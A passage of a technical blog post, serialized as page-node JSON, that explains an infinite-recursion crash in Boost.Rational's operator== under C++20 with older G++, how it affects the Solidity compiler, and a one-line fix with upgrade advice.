pe":24,"tag":83,"props":90953,"children":90954},{"style":90},[90955],{"type":29,"value":70125},{"type":24,"tag":83,"props":90957,"children":90958},{"style":3163},[90959],{"type":29,"value":5664},{"type":24,"tag":83,"props":90961,"children":90962},{"style":107},[90963],{"type":29,"value":5738},{"type":24,"tag":83,"props":90965,"children":90966},{"class":85,"line":324},[90967,90972,90976,90981,90985,90989,90993,90998,91002,91006,91010,91014,91018,91022,91027,91031,91035,91039,91043,91047],{"type":24,"tag":83,"props":90968,"children":90969},{"style":107},[90970],{"type":29,"value":90971},"    BOOST_CONSTEXPR ",{"type":24,"tag":83,"props":90973,"children":90974},{"style":90},[90975],{"type":29,"value":90156},{"type":24,"tag":83,"props":90977,"children":90978},{"style":107},[90979],{"type":29,"value":90980}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":24,"tag":83,"props":90982,"children":90983},{"style":3163},[90984],{"type":29,"value":5733},{"type":24,"tag":83,"props":90986,"children":90987},{"style":107},[90988],{"type":29,"value":568},{"type":24,"tag":83,"props":90990,"children":90991},{"style":3163},[90992],{"type":29,"value":90390},{"type":24,"tag":83,"props":90994,"children":90995},{"style":107},[90996],{"type":29,"value":90997},">::",{"type":24,"tag":83,"props":90999,"children":91000},{"style":3163},[91001],{"type":29,"value":38870},{"type":24,"tag":83,"props":91003,"children":91004},{"style":107},[91005],{"type":29,"value":568},{"type":24,"tag":83,"props":91007,"children":91008},{"style":90},[91009],{"type":29,"value":29437},{"type":24,"tag":83,"props":91011,"children":91012},{"style":107},[91013],{"type":29,"value":90997},{"type":24,"tag":83,"props":91015,"children":91016},{"style":3163},[91017],{"type":29,"value":32495},{"type":24,"tag":83,"props":91019,"children":91020},{"style":90},[91021],{"type":29,"value":90225},{"type":24,"tag":83,"props":91023,"children":91024},{"style":107},[91025],{"type":29,"value":91026},"== (",{"type":24,"tag":83,"props":91028,"children":91029},{"style":90},[91030],{"type":29,"value":9401},{"type":24,"tag":83,"props":91032,"children":91033},{"style":3163},[91034],{"type":29,"value":5664},{"type":24,"tag":83,"props":91036,"children":91037},{"style":90},[91038],{"type":29,"value":2853},{"type":24,"tag":83,"props":91040,"children":91041},{"style":137},[91042],{"type":29,"value":3142},{"type":24,"tag":83,"props":91044,"children":91045},{"style":107},[91046],{"type":29,"value":633},{"type":24,"tag":83,"props":91048,"children":91049},{"style":90},[91050],{"type":29,"value":91051},"const\n",{"type":24,"tag":83,"props":91053,"children":91054},{"class":85,"line":345},[91055],{"type":24,"tag":83,"props":91056,"children":91057},{"style":107},[91058],{"type":29,"value":28938},{"type":24,"tag":83,"props":91060,"children":91061},{"class":85,"line":358},[91062,91067,91072,91076,91080,91084,91088,91092,91096,91101,91105],{"type":24,"tag":83,"props":91063,"children":91064},{"style":117},[91065],{"type":29,"value":91066},"       return",{"type":24,"tag":83,"props":91068,"children":91069},{"style":107},[91070],{"type":29,"value":91071}," ((den ",{"type":24,"tag":83,"props":91073,"children":91074},{"style":143},[91075],{"type":29,"value":8320},{"type":24,"tag":83,"props":91077,"children":91078},{"style":101},[91079],{"type":29,"value":90161},{"type":24,"tag":83,"props":91081,"children":91082},{"style":107},[91083],{"type":29,"value":558},{"type":24,"tag":83,"props":91085,"children":91086},{"style":245},[91087],{"type":29,"value":3756},{"type":24,"tag":83,"props":91089,"children":91090},{"style":107},[91091],{"type":29,"value":8581},{"type":24,"tag":83,"props":91093,"children":91094},{"style":143},[91095],{"type":29,"value":72912},{"type":24,"tag":83,"props":91097,"children":91098},{"style":107},[91099],{"type":29,"value":91100}," (num ",{"type":24,"tag":83,"props":91102,"children":91103},{"style":143},[91104],{"type":29,"value":8320},{"type":24,"tag":83,"props":91106,"children":91107},{"style":107},[91108],{"type":29,"value":91109}," i));\n",{"type":24,"tag":83,"props":91111,"children":91112},{"class":85,"line":367},[91113],{"type":24,"tag":83,"props":91114,"children":91115},{"style":107},[91116],{"type":29,"value":446},{"type":24,"tag":83,"props":91118,"children":91119},{"class":85,"line":406},[91120],{"type":24,"tag":83,"props":91121,"children":91122},{"style":107},[91123],{"type":29,"value":20080},{"type":24,"tag":83,"props":91125,"children":91126},{"class":85,"line":427},[91127],{"type":24,"tag":83,"props":91128,"children":91129},{"style":107},[91130],{"type":29,"value":464},{"type":24,"tag":83,"props":91132,"children":91133},{"class":85,"line":440},[91134],{"type":24,"tag":83,"props":91135,"children":91136},{"emptyLinePlaceholder":16},[91137],{"type":29,"value":3422},{"type":24,"tag":83,"props":91139,"children":91140},{"class":85,"line":449},[91141,91145,91149,91153,91157,91161,91165,91169],{"type":24,"tag":83,"props":91142,"children":91143},{"style":90},[91144],{"type":29,"value":65931},{"type":24,"tag":83,"props":91146,"children":91147},{"style":107},[91148],{"type":29,"value":8463},{"type":24,"tag":83,"props":91150,"children":91151},{"style":90},[91152],{"type":29,"value":70125},{"type":24,"tag":83,"props":91154,"children":91155},{"style":3163},[91156],{"type":29,"value":90342},{"type":24,"tag":83,"props":91158,"children":91159},{"style":107},[91160],{"type":29,"value":568},{"type":24,"tag":83,"props":91162,"children":91163},{"style":90},[91164],{"type":29,"value":70125},{"type":24,"tag":83,"props":91166,"children":91167},{"style":3163},[91168],{"type":29,"value":90161},{"type":24,"tag":83,"props":91170,"children":91171},{"style":107},[91172],{"type":29,"value":5738},{"type":24,"tag":83,"props":91174,"children":91175},{"class":85,"line":458},[91176],{"type":24,"tag":83,"props":91177,"children":91178},{"style":107},[91179],{"type":29,"value":91180},"BOOST_CONSTEXPR\n",{"type":24,"tag":83,"props":91182,"children":91183},{"class":85,"line":1065},[91184,91189,91194,91199,91204],{"type":24,"tag":83,"props":91185,"children":91186},{"style":90},[91187],{"type":29,"value":91188},"inline",{"type":24,"tag":83,"props":91190,"children":91191},{"style":90},[91192],{"type":29,"value":91193}," typename",{"type":24,"tag":83,"props":91195,"children":91196},{"style":107},[91197],{"type":29,"value":91198}," boost::",{"type":24,"tag":83,"props":91200,"children":91201},{"style":3163},[91202],{"type":29,"value":91203},"enable_if_c",{"type":24,"tag":83,"props":91205,"children":91206},{"style":143},[91207],{"type":29,"value":91208}," \u003C\n",{"type":24,"tag":83,"props":91210,"children":91211},{"class":85,"line":1668},[91212,91217,91222,91226,91230,91235,91239,91243],{"type":24,"tag":83,"props":91213,"children":91214},{"style":107},[91215],{"type":29,"value":91216},"   rational_detail::is_compatible_integer\u003C",{"type":24,"tag":83,"props":91218,"children":91219},{"style":3163},[91220],{"type":29,"value":91221},"Arg",{"type":24,"tag":83,"props":91223,"children":91224},{"style":107},[91225],{"type":29,"value":568},{"type":24,"tag":83,"props":91227,"children":91228},{"style":3163},[91229],{"type":29,"value":90390},{"type":24,"tag":83,"props":91231,"children":91232},{"style":107},[91233],{"type":29,"value":91234},">::value, ",{"type":24,"tag":83,"props":91236,"children":91237},{"style":90},[91238],{"type":29,"value":29437},{"type":24,"tag":83,"props":91240,"children":91241},{"style":143},[91242],{"type":29,"value":10209},{"type":24,"tag":83,"props":91244,"children":91245},{"style":107},[91246],{"type":29,"value":91247},"::type\n",{"type":24,"tag":83,"props":91249,"children":91250},{"class":85,"line":1713},[91251,91256,91261,91265,91269,91273,91277,91281,91285,91289,91293,91297,91301,91305,91309],{"type":24,"tag":83,"props":91252,"children":91253},{"style":90},[91254],{"type":29,"value":91255},"   operator",{"type":24,"tag":83,"props":91257,"children":91258},{"style":107},[91259],{"type":29,"value":91260}," == (",{"type":24,"tag":83,"props":91262,"children":91263},{"style":90},[91264],{"type":29,"value":9401},{"type":24,"tag":83,"props":91266,"children":91267},{"style":3163},[91268],{"type":29,"value":90342},{"type":24,"tag":83,"props":91270,"children":91271},{"style":90},[91272],{"type":29,"value":2853},{"type":24,"tag":83,"props":91274,"children":91275},{"style":137},[91276],{"type":29,"value":90423},{"type":24,"tag":83,"props":91278,"children":91279},{"style":107},[91280],{"type":29,"value":568},{"type":24,"tag":83,"props":91282,"children":91283},{"style":90},[91284],{"type":29,"value":9401},{"type":24,"tag":83,"props":91286,"children":91287},{"style":3163},[91288],{"type":29,"value":90177},{"type":24,"tag":83,"props":91290,"children":91291},{"style":107},[91292],{"type":29,"value":5552},{"type":24,"tag":83,"props":91294,"children":91295},{"style":3163},[91296],{"type":29,"value":90390},{"type":24,"tag":83,"props":91298,"children":91299},{"style":107},[91300],{"type":29,"value":10209},{"type":24,"tag":83,"props":91302,"children":91303},{"style":90},[91304],{"type":29,"value":2853},{"type":24,"tag":83,"props":91306,"children":91307},{"style":137},[91308],{"type":29,"value":89549},{"type":24,"tag":83,"props":91310,"children":91311},{"style":107},[91312],{"type":29,"value":2905},{"type":24,"tag":83,"props":91314,"children":91315},{"class":85,"line":1730},[91316],{"type":24,"tag":83,"props":91317,"children":91318},{"style":107},[91319],{"type":29,"value":10628},{"type":24,"tag":83,"props":91321,"children":91322},{"class":85,"line":1770},[91323,91327,91331,91335],{"type":24,"tag":83,"props":91324,"children":91325},{"style":117},[91326],{"type":29,"value":39072},{"type":24,"tag":83,"props":91328,"children":91329},{"style":107},[91330],{"type":29,"value":16500},{"type":24,"tag":83,"props":91332,"children":91333},{"style":143},[91334],{"type":29,"value":8320},{"type":24,"tag":83,"props":91336,"children":91337},{"style":107},[91338],{"type":29,"value":91339}," b; \n",{"type":24,"tag":83,"props":91341,"children":91342},{"class":85,"line":1778},[91343],{"type":24,"tag":83,"props":91344,"children":91345},{"style":107},[91346],{"type":29,"value":464},{"type":24,"tag":25,"props":91348,"children":91349},{},[91350,91352,91358],{"type":29,"value":91351},"This was designed under C++17 semantics. Back then, ",{"type":24,"tag":32,"props":91353,"children":91355},{"className":91354},[],[91356],{"type":29,"value":91357},"rhs == lhs",{"type":29,"value":91359}," would fall back to member overloads if available. All good.",{"type":24,"tag":25,"props":91361,"children":91362},{},[91363,91365,91370,91371,91377],{"type":29,"value":91364},"But under ",{"type":24,"tag":32,"props":91366,"children":91368},{"className":91367},[],[91369],{"type":29,"value":89914},{"type":29,"value":21244},{"type":24,"tag":32,"props":91372,"children":91374},{"className":91373},[],[91375],{"type":29,"value":91376},"G++ \u003C 14",{"type":29,"value":195},{"type":24,"tag":16422,"props":91379,"children":91380},{},[91381,91386,91391,91396],{"type":24,"tag":67,"props":91382,"children":91383},{},[91384],{"type":29,"value":91385},"G++ incorrectly chooses this non-member operator first",{"type":24,"tag":67,"props":91387,"children":91388},{},[91389],{"type":29,"value":91390},"C++20 reverses the comparison",{"type":24,"tag":67,"props":91392,"children":91393},{},[91394],{"type":29,"value":91395},"Which calls the same function again with arguments flipped",{"type":24,"tag":67,"props":91397,"children":91398},{},[91399],{"type":29,"value":91400},"And so on...",{"type":24,"tag":25,"props":91402,"children":91403},{},[91404,91406,91411],{"type":29,"value":91405},"This creates ",{"type":24,"tag":2040,"props":91407,"children":91408},{},[91409],{"type":29,"value":91410},"infinite recursion",{"type":29,"value":161},{"type":24,"tag":25,"props":91413,"children":91414},{},[91415],{"type":29,"value":91416},"A minimal example:",{"type":24,"tag":73,"props":91418,"children":91420},{"code":91419,"language":28863,"meta":7,"className":28861,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n    boost::rational\u003Cint> r;\n    return r == 0;\n}\n",[91421],{"type":24,"tag":32,"props":91422,"children":91423},{"__ignoreMap":7},[91424,91432,91444,91451,91466,91490,91513],{"type":24,"tag":83,"props":91425,"children":91426},{"class":85,"line":86},[91427],{"type":24,"tag":83,"props":91428,"children":91429},{"style":2735},[91430],{"type":29,"value":91431},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":24,"tag":83,"props":91433,"children":91434},{"class":85,"line":113},[91435,91439],{"type":24,"tag":83,"props":91436,"children":91437},{"style":117},[91438],{"type":29,"value":90128},{"type":24,"tag":83,"props":91440,"children":91441},{"style":187},[91442],{"type":29,"value":91443}," \u003Cboost/rational.hpp>\n",{"type":24,"tag":83,"props":91445,"children":91446},{"class":85,"line":128},[91447],{"type":24,"tag":83,"props":91448,"children":91449},{"emptyLinePlaceholder":16},[91450],{"type":29,"value":3422},{"type":24,"tag":83,"props":91452,"children":91453},{"class":85,"line":183},[91454,91458,91462],{"type":24,"tag":83,"props":91455,"children":91456},{"style":90},[91457],{"type":29,"value":18786},{"type":24,"tag":83,"props":91459,"children":91460},{"style":101},[91461],{"type":29,"value":90493},{"type":24,"tag":83,"props":91463,"children":91464},{"style":107},[91465],{"type":29,"value":110},{"type":24,"tag":83,"props":91467,"children":91468},{"class":85,"line":203},[91469,91474,91478,91482,91486],{"type":24,"tag":83,"props":91470,"children":91471},{"style":107},[91472],{"type":29,"value":91473},"    boost::rational",{"type":24,"tag":83,"props":91475,"children":91476},{"style":143},[91477],{"type":29,"value":5552},{"type":24,"tag":83,"props":91479,"children":91480},{"style":90},[91481],{"type":29,"value":18786},{"type":24,"tag":83,"props":91483,"children":91484},{"style":143},[91485],{"type":29,"value":10209},{"type":24,"tag":83,"props":91487,"children":91488},{"style":107},[91489],{"type":29,"value":90522},{"type":24,"tag":83,"props":91491,"children":91492},{"class":85,"line":212},[91493,91497,91501,91505,91509],{"type":24,"tag":83,"props":91494,"children":91495},{"style":117},[91496],{"type":29,"value":16725},{"type":24,"tag":83,"props":91498,"children":91499},{"style":107},[91500],{"type":29,"value":90534},{"type":24,"tag":83,"props":91502,"children":91503},{"style":143},[91504],{"type":29,"value":8320},{"type":24,"tag":83,"props":91506,"children":91507},{"style":245},[91508],{"type":29,"value":248},{"type":24,"tag":83,"props":91510,"children":91511},{"style":107},[91512],{"type":29,"value":321},{"type":24,"tag":83,"props":91514,"children":91515},{"class":85,"line":256},[91516],{"type":24,"tag":83,"props":91517,"children":91518},{"style":107},[91519],{"type":29,"value":464},{"type":24,"tag":25,"props":91521,"children":91522},{},[91523],{"type":29,"value":91524},"Expected output: nothing.",{"type":24,"tag":25,"props":91526,"children":91527},{},[91528],{"type":29,"value":91529},"Actual: segmentation fault (stack overflow).",{"type":24,"tag":25,"props":91531,"children":91532},{},[91533,91535,91542],{"type":29,"value":91534},"This exact pattern was ",{"type":24,"tag":2033,"props":91536,"children":91539},{"href":91537,"rel":91538},"https://github.com/boostorg/rational/issues/43",[2037],[91540],{"type":29,"value":91541},"reported and fixed in Boost rational",{"type":29,"value":91543},", but only in version 1.75+.",{"type":24,"tag":25,"props":91545,"children":91546},{},[91547],{"type":29,"value":91548},"Here’s the one-line fix:",{"type":24,"tag":73,"props":91550,"children":91552},{"code":91551,"language":40078,"meta":7,"className":40076,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n-     return a == b;\n+     return a.operator==(b);\n}\n",[91553],{"type":24,"tag":32,"props":91554,"children":91555},{"__ignoreMap":7},[91556,91564,91571,91579,91587,91595,91602,91610,91618],{"type":24,"tag":83,"props":91557,"children":91558},{"class":85,"line":86},[91559],{"type":24,"tag":83,"props":91560,"children":91561},{"style":107},[91562],{"type":29,"value":91563},"template \u003Cclass Arg, class IntType>\n",{"type":24,"tag":83,"props":91565,"children":91566},{"class":85,"line":113},[91567],{"type":24,"tag":83,"props":91568,"children":91569},{"style":107},[91570],{"type":29,"value":91180},{"type":24,"tag":83,"props":91572,"children":91573},{"class":85,"line":128},[91574],{"type":24,"tag":83,"props":91575,"children":91576},{"style":107},[91577],{"type":29,"value":91578},"inline typename boost::enable_if_c \u003C\n",{"type":24,"tag":83,"props":91580,"children":91581},{"class":85,"line":183},[91582],{"type":24,"tag":83,"props":91583,"children":91584},{"style":107},[91585],{"type":29,"value":91586},"   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":24,"tag":83,"props":91588,"children":91589},{"class":85,"line":203},[91590],{"type":24,"tag":83,"props":91591,"children":91592},{"style":107},[91593],{"type":29,"value":91594},"   operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":24,"tag":83,"props":91596,"children":91597},{"class":85,"line":212},[91598],{"type":24,"tag":83,"props":91599,"children":91600},{"style":107},[91601],{"type":29,"value":10628},{"type":24,"tag":83,"props":91603,"children":91604},{"class":85,"line":256},[91605],{"type":24,"tag":83,"props":91606,"children":91607},{"style":187},[91608],{"type":29,"value":91609},"-     return a == b;\n",{"type":24,"tag":83,"props":91611,"children":91612},{"class":85,"line":270},[91613],{"type":24,"tag":83,"props":91614,"children":91615},{"style":245},[91616],{"type":29,"value":91617},"+     return a.operator==(b);\n",{"type":24,"tag":83,"props":91619,"children":91620},{"class":85,"line":302},[91621],{"type":24,"tag":83,"props":91622,"children":91623},{"style":107},[91624],{"type":29,"value":464},{"type":24,"tag":25,"props":91626,"children":91627},{},[91628,91630,91635,91637,91642],{"type":29,"value":91629},"Instead of calling ",{"type":24,"tag":32,"props":91631,"children":91633},{"className":91632},[],[91634],{"type":29,"value":89960},{"type":29,"value":91636}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":24,"tag":32,"props":91638,"children":91640},{"className":91639},[],[91641],{"type":29,"value":89968},{"type":29,"value":161},{"type":24,"tag":25,"props":91644,"children":91645},{},[91646],{"type":29,"value":91647},"This prevents C++20 from triggering recursive rewrites.",{"type":24,"tag":18531,"props":91649,"children":91650},{},[],{"type":24,"tag":51,"props":91652,"children":91654},{"id":91653},"part-iv-how-this-breaks-solidity",[91655],{"type":29,"value":91656},"Part IV: How This Breaks Solidity",{"type":24,"tag":25,"props":91658,"children":91659},{},[91660,91662,91667],{"type":29,"value":91661},"The Solidity codebase uses ",{"type":24,"tag":32,"props":91663,"children":91665},{"className":91664},[],[91666],{"type":29,"value":89815},{"type":29,"value":91668}," to represent certain compile-time constant expressions.",{"type":24,"tag":25,"props":91670,"children":91671},{},[91672,91674,91680],{"type":29,"value":91673},"One snippet that can trigger this issue appears in ",{"type":24,"tag":32,"props":91675,"children":91677},{"className":91676},[],[91678],{"type":29,"value":91679},"DeclarationTypeChecker::endVisit",{"type":29,"value":195},{"type":24,"tag":73,"props":91682,"children":91684},{"code":91683,"language":28863,"meta":7,"className":28861,"style":7},"if (Expression const* length = _typeName.length()) {\n    std::optional\u003Crational> lengthValue;\n\n    if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n        ...\n    else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n        lengthValue = value->value;\n\n    if (!lengthValue)\n        ...\n    else if (*lengthValue == 0)  // \u003C-- Infinite recursion happens here\n        ...\n}\n",[91685],{"type":24,"tag":32,"props":91686,"children":91687},{"__ignoreMap":7},[91688,91735,91760,91767,91845,91852,91905,91933,91940,91960,91967,92007,92014],{"type":24,"tag":83,"props":91689,"children":91690},{"class":85,"line":86},[91691,91695,91700,91704,91708,91713,91717,91722,91726,91730],{"type":24,"tag":83,"props":91692,"children":91693},{"style":117},[91694],{"type":29,"value":1094},{"type":24,"tag":83,"props":91696,"children":91697},{"style":107},[91698],{"type":29,"value":91699}," (Expression ",{"type":24,"tag":83,"props":91701,"children":91702},{"style":90},[91703],{"type":29,"value":9401},{"type":24,"tag":83,"props":91705,"children":91706},{"style":143},[91707],{"type":29,"value":4315},{"type":24,"tag":83,"props":91709,"children":91710},{"style":107},[91711],{"type":29,"value":91712}," length ",{"type":24,"tag":83,"props":91714,"children":91715},{"style":143},[91716],{"type":29,"value":1275},{"type":24,"tag":83,"props":91718,"children":91719},{"style":137},[91720],{"type":29,"value":91721}," _typeName",{"type":24,"tag":83,"props":91723,"children":91724},{"style":107},[91725],{"type":29,"value":161},{"type":24,"tag":83,"props":91727,"children":91728},{"style":101},[91729],{"type":29,"value":237},{"type":24,"tag":83,"props":91731,"children":91732},{"style":107},[91733],{"type":29,"value":91734},"()) {\n",{"type":24,"tag":83,"props":91736,"children":91737},{"class":85,"line":113},[91738,91743,91747,91751,91755],{"type":24,"tag":83,"props":91739,"children":91740},{"style":107},[91741],{"type":29,"value":91742},"    std::optional",{"type":24,"tag":83,"props":91744,"children":91745},{"style":143},[91746],{"type":29,"value":5552},{"type":24,"tag":83,"props":91748,"children":91749},{"style":107},[91750],{"type":29,"value":90820},{"type":24,"tag":83,"props":91752,"children":91753},{"style":143},[91754],{"type":29,"value":10209},{"type":24,"tag":83,"props":91756,"children":91757},{"style":107},[91758],{"type":29,"value":91759}," lengthValue;\n",{"type":24,"tag":83,"props":91761,"children":91762},{"class":85,"line":128},[91763],{"type":24,"tag":83,"props":91764,"children":91765},{"emptyLinePlaceholder":16},[91766],{"type":29,"value":3422},{"type":24,"tag":83,"props":91768,"children":91769},{"class":85,"line":183},[91770,91774,91778,91782,91786,91790,91794,91798,91802,91807,91811,91815,91819,91823,91827,91832,91836,91840],{"type":24,"tag":83,"props":91771,"children":91772},{"style":117},[91773],{"type":29,"value":218},{"type":24,"tag":83,"props":91775,"children":91776},{"style":107},[91777],{"type":29,"value":223},{"type":24,"tag":83,"props":91779,"children":91780},{"style":137},[91781],{"type":29,"value":237},{"type":24,"tag":83,"props":91783,"children":91784},{"style":107},[91785],{"type":29,"value":13502},{"type":24,"tag":83,"props":91787,"children":91788},{"style":101},[91789],{"type":29,"value":29915},{"type":24,"tag":83,"props":91791,"children":91792},{"style":107},[91793],{"type":29,"value":738},{"type":24,"tag":83,"props":91795,"children":91796},{"style":137},[91797],{"type":29,"value":32495},{"type":24,"tag":83,"props":91799,"children":91800},{"style":143},[91801],{"type":29,"value":1126},{"type":24,"tag":83,"props":91803,"children":91804},{"style":137},[91805],{"type":29,"value":91806}," length",{"type":24,"tag":83,"props":91808,"children":91809},{"style":107},[91810],{"type":29,"value":13502},{"type":24,"tag":83,"props":91812,"children":91813},{"style":101},[91814],{"type":29,"value":29915},{"type":24,"tag":83,"props":91816,"children":91817},{"style":107},[91818],{"type":29,"value":738},{"type":24,"tag":83,"props":91820,"children":91821},{"style":137},[91822],{"type":29,"value":32495},{"type":24,"tag":83,"props":91824,"children":91825},{"style":107},[91826],{"type":29,"value":13502},{"type":24,"tag":83,"props":91828,"children":91829},{"style":101},[91830],{"type":29,"value":91831},"category",{"type":24,"tag":83,"props":91833,"children":91834},{"style":107},[91835],{"type":29,"value":13788},{"type":24,"tag":83,"props":91837,"children":91838},{"style":143},[91839],{"type":29,"value":8320},{"type":24,"tag":83,"props":91841,"children":91842},{"style":107},[91843],{"type":29,"value":91844}," Type::Category::RationalNumber)\n",{"type":24,"tag":83,"props":91846,"children":91847},{"class":85,"line":203},[91848],{"type":24,"tag":83,"props":91849,"children":91850},{"style":107},[91851],{"type":29,"value":81556},{"type":24,"tag":83,"props":91853,"children":91854},{"class":85,"line":212},[91855,91860,91864,91869,91873,91878,91882,91887,91891,91896,91900],{"type":24,"tag":83,"props":91856,"children":91857},{"style":117},[91858],{"type":29,"value":91859},"    else",{"type":24,"tag":83,"props":91861,"children":91862},{"style":117},[91863],{"type":29,"value":383},{"type":24,"tag":83,"props":91865,"children":91866},{"style":107},[91867],{"type":29,"value":91868}," (std::optional",{"type":24,"tag":83,"props":91870,"children":91871},{"style":143},[91872],{"type":29,"value":5552},{"type":24,"tag":83,"props":91874,"children":91875},{"style":107},[91876],{"type":29,"value":91877},"ConstantEvaluator::TypedRational",{"type":24,"tag":83,"props":91879,"children":91880},{"style":143},[91881],{"type":29,"value":10209},{"type":24,"tag":83,"props":91883,"children":91884},{"style":107},[91885],{"type":29,"value":91886}," value ",{"type":24,"tag":83,"props":91888,"children":91889},{"style":143},[91890],{"type":29,"value":1275},{"type":24,"tag":83,"props":91892,"children":91893},{"style":107},[91894],{"type":29,"value":91895}," ConstantEvaluator::",{"type":24,"tag":83,"props":91897,"children":91898},{"style":101},[91899],{"type":29,"value":37728},{"type":24,"tag":83,"props":91901,"children":91902},{"style":107},[91903],{"type":29,"value":91904},"(...))\n",{"type":24,"tag":83,"props":91906,"children":91907},{"class":85,"line":256},[91908,91913,91917,91921,91925,91929],{"type":24,"tag":83,"props":91909,"children":91910},{"style":107},[91911],{"type":29,"value":91912},"        lengthValue ",{"type":24,"tag":83,"props":91914,"children":91915},{"style":143},[91916],{"type":29,"value":1275},{"type":24,"tag":83,"props":91918,"children":91919},{"style":137},[91920],{"type":29,"value":32249},{"type":24,"tag":83,"props":91922,"children":91923},{"style":107},[91924],{"type":29,"value":13502},{"type":24,"tag":83,"props":91926,"children":91927},{"style":137},[91928],{"type":29,"value":38870},{"type":24,"tag":83,"props":91930,"children":91931},{"style":107},[91932],{"type":29,"value":321},{"type":24,"tag":83,"props":91934,"children":91935},{"class":85,"line":270},[91936],{"type":24,"tag":83,"props":91937,"children":91938},{"emptyLinePlaceholder":16},[91939],{"type":29,"value":3422},{"type":24,"tag":83,"props":91941,"children":91942},{"class":85,"line":302},[91943,91947,91951,91955],{"type":24,"tag":83,"props":91944,"children":91945},{"style":117},[91946],{"type":29,"value":218},{"type":24,"tag":83,"props":91948,"children":91949},{"style":107},[91950],{"type":29,"value":223},{"type":24,"tag":83,"props":91952,"children":91953},{"style":143},[91954],{"type":29,"value":20362},{"type":24,"tag":83,"props":91956,"children":91957},{"style":107},[91958],{"type":29,"value":91959},"lengthValue)\n",{"type":24,"tag":83,"props":91961,"children":91962},{"class":85,"line":324},[91963],{"type":24,"tag":83,"props":91964,"children":91965},{"style":107},[91966],{"type":29,"value":81556},{"type":24,"tag":83,"props":91968,"children":91969},{"class":85,"line":345},[91970,91974,91978,91982,91986,91990,91994,91998,92002],{"type":24,"tag":83,"props":91971,"children":91972},{"style":117},[91973],{"type":29,"value":91859},{"type":24,"tag":83,"props":91975,"children":91976},{"style":117},[91977],{"type":29,"value":383},{"type":24,"tag":83,"props":91979,"children":91980},{"style":107},[91981],{"type":29,"value":223},{"type":24,"tag":83,"props":91983,"children":91984},{"style":143},[91985],{"type":29,"value":4315},{"type":24,"tag":83,"props":91987,"children":91988},{"style":107},[91989],{"type":29,"value":89791},{"type":24,"tag":83,"props":91991,"children":91992},{"style":143},[91993],{"type":29,"value":8320},{"type":24,"tag":83,"props":91995,"children":91996},{"style":245},[91997],{"type":29,"value":248},{"type":24,"tag":83,"props":91999,"children":92000},{"style":107},[92001],{"type":29,"value":2872},{"type":24,"tag":83,"props":92003,"children":92004},{"style":2735},[92005],{"type":29,"value":92006},"  // \u003C-- Infinite recursion happens here\n",{"type":24,"tag":83,"props":92008,"children":92009},{"class":85,"line":358},[92010],{"type":24,"tag":83,"props":92011,"children":92012},{"style":107},[92013],{"type":29,"value":81556},{"type":24,"tag":83,"props":92015,"children":92016},{"class":85,"line":367},[92017],{"type":24,"tag":83,"props":92018,"children":92019},{"style":107},[92020],{"type":29,"value":464},{"type":24,"tag":25,"props":92022,"children":92023},{},[92024],{"type":29,"value":92025},"Under normal circumstances, this expression is benign. But:",{"type":24,"tag":16422,"props":92027,"children":92028},{},[92029,92034,92039],{"type":24,"tag":67,"props":92030,"children":92031},{},[92032],{"type":29,"value":92033},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":24,"tag":67,"props":92035,"children":92036},{},[92037],{"type":29,"value":92038},"C++20 reverses the arguments",{"type":24,"tag":67,"props":92040,"children":92041},{},[92042],{"type":29,"value":92043},"The non-member operator recursively calls itself",{"type":24,"tag":25,"props":92045,"children":92046},{},[92047],{"type":29,"value":92048},"💥: segmentation fault.",{"type":24,"tag":18531,"props":92050,"children":92051},{},[],{"type":24,"tag":51,"props":92053,"children":92055},{"id":92054},"part-v-what-environments-are-affected",[92056],{"type":29,"value":92057},"Part V: What Environments are Affected?",{"type":24,"tag":25,"props":92059,"children":92060},{},[92061],{"type":29,"value":92062},"If a system uses any of the following:",{"type":24,"tag":16422,"props":92064,"children":92065},{},[92066,92071,92076],{"type":24,"tag":67,"props":92067,"children":92068},{},[92069],{"type":29,"value":92070},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":24,"tag":67,"props":92072,"children":92073},{},[92074],{"type":29,"value":92075},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":24,"tag":67,"props":92077,"children":92078},{},[92079],{"type":29,"value":92080},"C++20 enabled (default in recent Solidity builds)",{"type":24,"tag":25,"props":92082,"children":92083},{},[92084,92086,92091,92093,92099],{"type":29,"value":92085},"They will encounter this crash ",{"type":24,"tag":2040,"props":92087,"children":92088},{},[92089],{"type":29,"value":92090},"as soon as",{"type":29,"value":92092}," it processes a Solidity source with a length expression like ",{"type":24,"tag":32,"props":92094,"children":92096},{"className":92095},[],[92097],{"type":29,"value":92098},"T[0]",{"type":29,"value":92100}," or anything involving compile-time rational comparisons.",{"type":24,"tag":18531,"props":92102,"children":92103},{},[],{"type":24,"tag":51,"props":92105,"children":92107},{"id":92106},"recommendations",[92108],{"type":29,"value":92109},"Recommendations",{"type":24,"tag":16422,"props":92111,"children":92112},{},[92113,92121],{"type":24,"tag":67,"props":92114,"children":92115},{},[92116],{"type":24,"tag":2040,"props":92117,"children":92118},{},[92119],{"type":29,"value":92120},"Update Boost to ≥ 1.75",{"type":24,"tag":67,"props":92122,"children":92123},{},[92124],{"type":24,"tag":2040,"props":92125,"children":92126},{},[92127],{"type":29,"value":92128},"Pin G++ to v14 or later",{"type":24,"tag":18531,"props":92130,"children":92131},{},[],{"type":24,"tag":51,"props":92133,"children":92134},{"id":28683},[92135],{"type":29,"value":18686},{"type":24,"tag":25,"props":92137,"children":92138},{},[92139],{"type":29,"value":92140},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":24,"tag":25,"props":92142,"children":92143},{},[92144,92146,92150],{"type":29,"value":92145},"But it ",{"type":24,"tag":2040,"props":92147,"children":92148},{},[92149],{"type":29,"value":3717},{"type":29,"value":92151}," a reminder 